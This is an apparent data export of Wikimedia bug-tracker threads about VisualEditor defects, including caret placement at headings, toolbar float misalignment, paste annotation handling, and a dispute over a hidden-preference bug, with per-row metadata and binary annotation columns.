+This is intentional - if you have header 1\nheader 2\nheader 3\n and click before header 3 and press return, you should be able to type content (paragraph) by default. WYSIWYG editors often get this wrong, thinking that context is the most important thing, because they don't know what style ""normal"" content is. We do, and so we should do this right. (Also, VE isn't intending to be a WYSIWYG editor, just a visual one that is more and WYSIWYM editor at times.)
+
+> * The caret moves between the first and second character of the heading
+> (definitely wrong).
+
+Yeah, sorry about that; we should get that fixed soon.",,,1371504819,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,0,0,1,0,1,1,1,1,1,0,1,1,0,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+216292,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","These days the behavior on mediwiki.org (with Firefox 21.0 Ubuntu 13.04) is different and a little better.
+* If you press Enter with the caret at start of heading, you get a plain paragraph before (maybe OK but not what I'd expect and not how most WYSIWYG editors work)
+* The caret moves between the first and second character of the heading (definitely wrong).
+But the document doesn't get out of order, your typing always appears at the caret, and what you see is what is saved. Progress!",,,1371501393,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,1,1
+216290,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","**brassratgirl** wrote:
+
+I'm getting a similar bug while trying to edit a userpage subpage, with the addition that it's blanking out the existing text. See https://en.wikipedia.org/wiki/User:Phoebe/chopo
+
+1) edit existing text, all is fine. 
+2) move cursor below existing paragraph, attempt to type new heading
+3) cursor jumps to above existing paragraph, types up there
+4) this results in uneditable blank spaces 
+5) and, on save, all text below blank spaces is gone. 
+
+My conclusion is that editing user pages is, for whatever reason, totally haywire. I have screenshots if needed. 
+
+Firefox 20.0 on Ubuntu 12.04",,,1369610854,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,1,False,,,-6,,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+216287,"VisualEditor: Return at start of header causes cursor to move two characters down-page, not one","In Chromium (25.0.1364.160 Ubuntu 13.04) not logged in, the same step 3 adds blank line above (not styled as a heading) and moves the caret to the second character in the existing heading.",,,1369264433,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-pds66u5f24d37usiicgj,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+50734,VisualEditor: Toolbar should clear float to avoid misalignment by extra elements,"On wikis where certain ""topicons"" are moved out of the mw-content-text wrapper into the root of #content the VisualEditor toolbar shows a weird blank space.
+
+The icons in question are invisible due to float overlap, but they do push down the toolbar and occupying space to the right of the ""Save and review"" button thus pushing it and the rest of ve-ui-toolbar-actions to the left.
+
+To reproduce this situation, run the following one or more times:
+
+    $('#content').prepend(
+        '<div class=""mw-topicon"" style=""display: block; width: 20px; height: 20px; background: pink; float: right; margin-left: 3px;"">x</div>'
+    );
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1369263840,1369300408.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-nmn7dlmg7l34754u4bwb,task_description,resolved,True,c1,1,True,False,True,-6,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+216252,VisualEditor: Toolbar should clear float to avoid misalignment by extra elements,Related URL: https://gerrit.wikimedia.org/r/64989 (Gerrit Change Ic5f73ac1eb8c41b891dd1c67b71795cb6c456141),,,1369264080,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-nmn7dlmg7l34754u4bwb,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+216247,VisualEditor: Toolbar should clear float to avoid misalignment by extra elements,"Created attachment 12375
+What it looks like with clear:both patch applied
+
+The icons become visible again and the actions toolbar (right hand side of the toolbar) is no longer pushed to the left but flush to the right again.
+
+**Attached**: {F10554}",,,1369264016,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nmn7dlmg7l34754u4bwb,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,0
+216241,VisualEditor: Toolbar should clear float to avoid misalignment by extra elements,"Created attachment 12374
+Current misalignment when there are extra elements in #content
+
+Such as the case currently on https://de.wikipedia.org/wiki/Berlin
+
+**Attached**: {F10553}",,,1369263963,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nmn7dlmg7l34754u4bwb,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0
+216239,VisualEditor: Toolbar should clear float to avoid misalignment by extra elements,"Created attachment 12373
+What the toolbar usually looks like
+
+Note absence of space between the Vector tabs and the toolbar, and the Save button is flush to the right.
+
+**Attached**: {F10552}",,,1369263925,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-nmn7dlmg7l34754u4bwb,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+50720,VisualEditor: Paste of content does not use the context's annotation,"If you have some text with an annotation (e.g. bold, italics or a link) and copy in some text, the annotation is closed off, the text is insert as plain text, and then the annotation is restarted.
+
+I think users will expect ""paste as current style"" over ""paste as plain text"".
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1369247880,1491408734.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-ezht24x5cf4eytaekvqk,task_description,resolved,True,c1,1,True,False,False,-6,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+837324,VisualEditor: Paste of content does not use the context's annotation,"This seems to work as expected these days. I just tried pasting various annotated things into various other things, and everything behaves fine, with the annotations being merged. 
+
+https://en.wikipedia.org/w/index.php?title=User:Matma_Rex/sandbox&diff=773983701&oldid=773982287
+{F7268038}
+
+(Although in the meantime I discovered we're //too// good at this, merging some annotations that don't make sense, see {T162278}.)",,,1491408734,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,True,,,196,,1,1,0,1,1,1,0,0,1,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+634239,VisualEditor: Paste of content does not use the context's annotation,"I definitely expect that text pasted into the middle of a link will still be part of the link.  `[[Link|Li]]HardToType[[Link|nk]]` is never what I want, and if you end up with that, it's hard to repair (unlike a missing or extra bit of bold text).  Since the {T130735} in Safari, then ""just (magically know about and remember to) use plain-paste"" isn't a viable solution.",,,1458752469,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,False,,,142,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+215349,VisualEditor: Paste of content does not use the context's annotation,*** Bug 69653 has been marked as a duplicate of this bug. ***,,,1408272633,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,True,,,58,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+215342,VisualEditor: Paste of content does not use the context's annotation,Normal paste (rich paste) should preserve the formatting of the pasted content (even if that means plain). Plain text paste should take the formatting of the target.,,,1381156824,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+215337,VisualEditor: Paste of content does not use the context's annotation,"erm, yes. Sorry.",,,1374776898,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+215331,VisualEditor: Paste of content does not use the context's annotation,"(In reply to comment #3)
+> An editor at the English Wikipedia comments that the ability to copy and
+> paste
+> a link is "" definitely not an [sic] luxury feature but core functionality.""
+> 
+> I am inclined to agree.
+
+That's presumably meant for bug 33105 which is about copying and pasting rich content, rather than this one?",,,1374775928,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,True,,,3,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+215326,VisualEditor: Paste of content does not use the context's annotation,"An editor at the English Wikipedia comments that the ability to copy and paste a link is "" definitely not an [sic] luxury feature but core functionality.""
+
+I am inclined to agree.",,,1374767136,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+215322,VisualEditor: Paste of content does not use the context's annotation,"LibreOffice uses additive annotations, so pasting italic text into bold text results in bold+italic text. Google drive uses our current functionality.",,,1369294390,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+215320,VisualEditor: Paste of content does not use the context's annotation,*** Bug 48159 has been marked as a duplicate of this bug. ***,,,1369247921,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ezht24x5cf4eytaekvqk,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+50681,VisualEditor: Clicking Notices button or closing its dialog scrolls user back to the top,"Whenever you're scrolled down in a document and close or re-open the Notices flyout, the user is brought back to the top of the page (instead of staying where they are, like any other toolbar button would).
+
+The toolbar floats and follows the user as they view the document, it is expected that interacting with it does not change the scroll offset. Most buttons abide by this except for Notices.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1369144860,1370972881.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-7jfh3i424pezp3um3zzy,task_description,resolved,True,c1,1,True,False,True,-6,,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0
+213104,VisualEditor: Clicking Notices button or closing its dialog scrolls user back to the top,This is now fixed.,,,1370972881,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7jfh3i424pezp3um3zzy,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+50666,Mediawikiwiki: Make VisualEditor a hidden preference,"The newsletter update states that Visual Editor is now functioning in the content namespaces at MW, which includes the extension: and manual: namespaces (and it does).  That said, the default text for ""MediaWiki:Visualeditor-preference-enable"" just states user and main at that wiki. I am presuming that this is a WikimediaMessages update somewhere
+
+As a temporary measure I have created [[mw:MediaWiki:Visualeditor-preference-enable]] that mentions the extra two namespace.
+
+As a note the mention of {{MediaWiki:Visualeditor-extensionnamespacepagelink}} and {{MediaWiki:Visualeditor-manualnamespacepagelink}} failed, so I didn't link, and we will need to look to how these extra namespaces are going to be linked, and documented.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1369100100,1373933935.0,PHID-USER-bmenasgfntvftznu6wxs,False,,False,PHID-TASK-q322vvsm62gyx2idxtx2,task_description,resolved,True,c1,1,False,False,True,-6,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,1,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+212399,Mediawikiwiki: Make VisualEditor a hidden preference,"Change 73565 abandoned by Hashar:
+(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs
+
+Reason:
+A preference to temporarily disable VisualEditor has been introduced in the VisualEditor extension itself : https://gerrit.wikimedia.org/r/#/c/75541/
+
+This change is thus no more needed.
+
+https://gerrit.wikimedia.org/r/73565",,,1374826591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,False,,,3,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,1,0,1
+212394,Mediawikiwiki: Make VisualEditor a hidden preference,"Change 73565 had a related patch set uploaded by Helder.wiki:
+(bug 50929) Remove 'visualeditor-enable' from $wgHiddenPrefs
+
+https://gerrit.wikimedia.org/r/73565",,,1374499697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,False,,,3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+212388,Mediawikiwiki: Make VisualEditor a hidden preference,"Then someone opened Bug 50929 - User preference to disable VisualEditor
+
+The related change is  https://gerrit.wikimedia.org/r/#/c/73565/
+
+
+That effectively would reopen this bug 48666.",,,1374499317,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,True,,,3,,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+212382,Mediawikiwiki: Make VisualEditor a hidden preference,"(In reply to comment #8)
+> my intention was not to offend or attack, it was to draw attention that, to
+> the best of my understanding, hiding the user option did not actually address
+> the actual bug.
+
+The 'actual' bug was, effectively, that ""the temporary description of a temporary configuration option does not automatically expand based on a different configuration variable's setting"".
+
+However, the cause for complaint was ""the temporary description of a temporary configuration option on MW.org is wrong and confusing"", you are correct.
+
+> i think that bug 51411 you created is perfect, and once it's fixed/addressed,
+> everything will be fine.
+
+It's exceedingly unlikely to be addressed, because (a) programmatic writing of human-readable descriptions is very delicate and not something we generally do, and (b) as we have said a great many times, this is about a configuration variable that exists purely for the duration of the alpha, to provide a way to ""opt in"". Availability of VE is a system-level configuration, not a user-level preference. By the time the software is actually marked for release by anyone outside WMF (when we remove the ""here be dragons"" labels), the underlying issue will be moot.",,,1373987046,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,True,,,2,,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,1
+212377,Mediawikiwiki: Make VisualEditor a hidden preference,"my intention was not to offend or attack, it was to draw attention that, to the best of my understanding, hiding the user option did not actually address the actual bug.
+
+i think that bug 51411 you created is perfect, and once it's fixed/addressed, everything will be fine.
+
+regarding the rewording of the synopsis: i am aware that it's common practice. actually, quite a few of the bugs i opened myself received this treatment. 
+in all the cases i can recall, the rewording was for the better. 
+my complain was not about the fact the synopsis was reworded, per se, but rather about the new description, which i do not think is a good one. 
+
+
+regarding my presumption: i am not sure if i understand your comment about this bug being specific to ""mediawiki.org"". 
+does this mean it's limited to wikimedia projects? if this is what you mean, i do not think you are correct. 
+this issue (the original one, that is) pertains to any wiki that uses the mediawiki software with visualeditor (new synopsis and your fix not withstanding).
+
+peace.",,,1373986460,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,False,,,2,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,1,0,0,1,1,1,0,1,1,0,1,1,1,0,0,0,0,1,0,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1
+212372,Mediawikiwiki: Make VisualEditor a hidden preference,"(In reply to comment #6)
+> (In reply to comment #2)
+> > Simplest solution to this problem. :-)
+> 
+> an excellent case where ""simplest"" is very far from ""correct"" or ""best"".
+
+I disagree.
+
+> in addition to being a bad solution, this change only affects enwiki,
+
+Not true.
+
+> while the (original) bug is generic to all projects that install VE (and
+> even non-projects, i.e., ""3rd party"" wikis).
+
+The message is over-rideable, which is an entirely-adequate solution for most third parties. The initial request was, in my opinion, asking for a solution that didn't require a local over-ride, and met the intent of the team anyway (as part of removing VisualEditor as a local user preference, which was temporarily implemented for the opt-in alphas and is going away).
+
+> as a side, together with this wrong and bad solution, James Forrester also
+> changed the synopsis of the bug: from the original (""underlying text for
+> VisualEditor in preferences [editing] tab & variable names?""), to ""Make
+> VisualEditor a hidden preference"", i.e., instead of outlining the problem,
+> the bug synopsis now spells the ""solution"".
+
+This is perfectly standard practice here.
+ 
+> this is wrong on several levels: it creates the impression that the bug
+> originator (billinghurst) asked to hide the preference, which he didn't, of
+> course,
+
+Again, this is normal; comment 0 is the location to find what the originator wanted.
+
+> and it hides the actual problem from someone reading this bug - only
+> by digging in the history i was able to make sense of Comment #1, which looks
+> now completely disjoint from the bug synopsis.
+
+I'm sorry that you were confused.
+
+> wrong or bad solutions to problems is something that can and does happen in
+> every project. that's just life. 
+> changing the synopsis the way it was changed is not something that can or
+> should happen.
+
+I strongly disagree.
+
+> without digging too deeply, i'm going to revert the synopsis to the original
+> one, and reopen -
+
+Which I have reverted, and opened a new bug, bug 51411, for your concerns.
+
+> presuming the problem affects more then just enwiki
+
+Your presumption is wrong. Note that the title you over-ride explicitly mentioned ""Mediawikiwiki"" (i.e., MediaWiki.org).",,,1373933935,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,True,,,2,,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+212368,Mediawikiwiki: Make VisualEditor a hidden preference,"(In reply to comment #2)
+> Simplest solution to this problem. :-)
+
+an excellent case where ""simplest"" is very far from ""correct"" or ""best"".
+
+in addition to being a bad solution, this change only affects enwiki, while the (original) bug is generic to all projects that install VE (and even non-projects, i.e., ""3rd party"" wikis).
+
+as a side, together with this wrong and bad solution, James Forrester also changed the synopsis of the bug: from the original (""underlying text for Visual editor in preferences [editing] tab & variable names?""), to ""Make VisualEditor a hidden preference"", i.e., instead of outlining the problem, the bug synopsis now spells the ""solution"". 
+this is wrong on several levels: it creates the impression that the bug originator (billinghurst) asked to hide the preference, which he didn't, of course, and it hides the actual problem from someone reading this bug - only by digging in the history i was able to make sense of Comment #1, which looks now completely disjoint from the bug synopsis.
+
+wrong or bad solutions to problems is something that can and does happen in every project. that's just life. 
+changing the synopsis the way it was changed is not something that can or should happen.
+
+without digging too deeply, i'm going to revert the synopsis to the original one, and reopen - presuming the problem affects more then just enwiki, and also, with the hope that Bug 50929  (basically a request to undo this change) will be fixed soon.
+
+peace.",,,1373914200,,PHID-USER-akv4ingxkspiiam6r2n4,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,False,,,2,,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,1,1
+212366,Mediawikiwiki: Make VisualEditor a hidden preference,Now done.,,,1372715431,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+212363,Mediawikiwiki: Make VisualEditor a hidden preference,"Change 70652 merged by jenkins-bot:
+Make 'visualeditor-enable' pref hidden on wikis where VE is default
+
+https://gerrit.wikimedia.org/r/70652",,,1372714295,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0
+212359,Mediawikiwiki: Make VisualEditor a hidden preference,Related URL: https://gerrit.wikimedia.org/r/70652 (Gerrit Change Ica186b9374ddaa0f2f6b2a84e5dff851011b68a4),,,1372265133,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-q322vvsm62gyx2idxtx2,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
